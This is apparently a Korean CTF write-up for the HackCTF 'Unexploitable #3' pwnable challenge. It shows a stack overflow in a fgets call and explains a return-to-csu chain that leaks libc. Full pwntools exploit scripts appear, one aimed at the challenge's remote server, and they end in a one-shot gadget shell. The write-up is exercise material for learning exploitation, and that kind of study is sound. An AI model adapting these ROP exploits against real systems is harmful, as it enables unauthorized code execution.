tmxklab

[HackCTF/Pwnable] Unexploitable #3 본문

War Game/HackCTF

[HackCTF/Pwnable] Unexploitable #3

tmxk4221 2020. 8. 15. 20:08

1. 문제

nc ctf.j0n9hyun.xyz 3034

 

1) mitigation 확인

 

2) 문제 확인

  • 입력 값을 받고 종료

 

3) 코드 흐름 확인

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-10h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fwrite("Impossible RTL ha? Nothing for you!\n", 1uLL, 0x24uLL, stdout);
  fgets(&s, 256, stdin);
  return 0;
}
  • fgets()를 통해 s[rbp-0x10]변수에 256bytes만큼 입력을 받을 수 있음

 

3-2) gift()

size_t gift()
{
  return fwrite("Useless gadget for you!", 1uLL, 0x17uLL, stdout);
}

 


2. 접근방법

먼저 fwrite로 fgets@got값 출력해서 libc base주소를 릭해보자

 

fwrite 호출 전 인자가 어느 레지스터에 들어가는지 확인

  • rcx(stream) → stdout
  • edx(count) → 출력할 문자열 길이
  • esi(size) → char(1byte)
  • edi(ptr) → 문자열 저장된 주소

 

가젯 확인 결과

  • rcx, rdx, rsi, rdi를 pop해줄 수 있는 가젯이 보이질 않음
  • rtc를 하기 위한 가젯은 보임

 

rtc를 이용하면 rdx, rsi, rdi값에 세팅이 가능하므로 rtc를 이용하고 추가로 rcx를 세팅할 수 있는 가젯을 찾아보자

  • 위 두 개의 가젯을 이용하여 rcx값을 세팅할 수 있음
  • mov_rcx : 0x400658
  • pop_rdi : 0x400743

 

이제 rcx(stream)에 세팅할 FILE stream 주소 값을 확인해보자

  • stdout : 0x601050

 

마지막으로 rtc를 수행하기 위해 __libc_init_csu함수의 가젯을 확인해보자

  • init stage 1 : 0x40073a
  • init stage 2 :0x400720

 

이제 rtc를 이용하여 fgets주소를 릭 해보자

익스 코드)

from pwn import *

context.log_level="debug"

p = process("./unex")
#p = remote("ctf.j0n9hyun.xyz", 3034)
e = ELF("./unex")
gdb.attach(p, """b*0x4006d9""")

fwrite_got = e.got['fwrite']
fgets_got = e.got['fgets']
main_addr = e.symbols['main']

init_stage1 = 0x40073a
init_stage2 = 0x400720
pop_rdi = 0x400743
mov_rcx = 0x400658
stdout = 0x601050

# 1. leak fgets addr
payload = "A"*0x18
payload += p64(pop_rdi)		
payload += p64(stdout)
payload += p64(mov_rcx)
payload += p64(init_stage1)
payload += p64(0)			# pop rbx
payload += p64(1)			# pop rbp
payload += p64(fwrite_got)		# pop r12
payload += p64(len(hex(fgets_got)))	# pop r13
payload += p64(1)			# pop r14
payload += p64(fgets_got)		# pop r15
payload += p64(init_stage2)

payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(4)
payload += p64(5)
payload += p64(6)
payload += p64(7)
payload += p64(main_addr)

p.sendlineafter("you!\n", payload)

p.interactive()

 

확인결과)

  • fgets 주소 : 0x7f390cc45ae0

 

릭한 결과를 토대로 libc database에서 필요한 함수 offset 구하기

 

 

공격 프로세스)

  • rtc를 이용하여 fgets주소를 릭하고 다시 메인 함수로 돌아온다.
  • 릭한 결과를 토대로 libc base주소를 알아내고 원샷 가젯의 주소를 구한다.
  • ret에 원샷 가젯을 박아버린다.

 


3. 풀이

 

처음에 원샷 가젯을 구하려면 libc가 필요해서 그냥 system() 주소와 binsh주소를 구해서 rtl을 진행하였다.

근데 로컬에서는 쉘을 딸 수 있었지만, 리모트에서는 에러가 출력되면서 쉘을 따지 못하였다.

 

<<  로컬에서 시도했을 때  >>

 

<<  원격에서 시도했을 때  >>

뭔가 binsh문자열이 잘못 들어간 것 같다. offset이 조금 다른가..

 

 

그래서 원샷 가젯을 사용하기로 하였다.

  • oneshot_gadget : 0x45226

 

1) 익스코드

from pwn import *

context.log_level="debug"

#p = process("./unex")
p = remote("ctf.j0n9hyun.xyz", 3034)
e = ELF("./unex")
#gdb.attach(p, """b*0x4006d9""")

fwrite_got = e.got['fwrite']
fgets_got = e.got['fgets']
main_addr = e.symbols['main']

init_stage1 = 0x40073a
init_stage2 = 0x400720
pop_rdi = 0x400743
mov_rcx = 0x400658
stdout = 0x601050

fgets_offset = 0x6dae0
oneshot_offset = 0x45226

# 1. leak fgets addr
payload = "A"*0x18
payload += p64(pop_rdi)		
payload += p64(stdout)
payload += p64(mov_rcx)
payload += p64(init_stage1)
payload += p64(0)			# pop rbx
payload += p64(1)			# pop rbp
payload += p64(fwrite_got)		# pop r12
payload += p64(len(hex(fgets_got)))	# pop r13
payload += p64(1)			# pop r14
payload += p64(fgets_got)		# pop r15
payload += p64(init_stage2)

payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(4)
payload += p64(5)
payload += p64(6)
payload += p64(7)
payload += p64(main_addr)

p.sendlineafter("you!\n", payload)

fgets_addr = u64(p.recv(6).ljust(8, "\x00"))
libc_base = fgets_addr - fgets_offset
oneshot_addr = libc_base + oneshot_offset

log.info("libc_base addr : "+hex(libc_base))
log.info("fgets addr     : "+hex(fgets_addr))
log.info("oneshot addr   : "+hex(oneshot_addr))

# 2. rtl oneshot gadget
payload = "A"*0x18
payload += p64(oneshot_addr)

p.sendlineafter("you!\n", payload)

p.interactive()

 

2) 실행결과

 


4. 몰랐던 개념

추가로 system(binsh)이 안되서 fgets를 이용하여 bss영역에 binsh문자열을 박기로 하였는데 fgets에서 stdin인자를 정리해주는 rdx관련 가젯이 없어서 못했다.

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] ChildFSB  (2) 2020.08.15
[HackCTF/Pwnable] wishilist  (0) 2020.08.15
[HackCTF/Pwnable] ChildHeap  (0) 2020.08.15
[HackCTF/Pwnable] babyfsb  (0) 2020.08.15
[HackCTF/Pwnable] j0n9hyun's secret  (0) 2020.08.15
Comments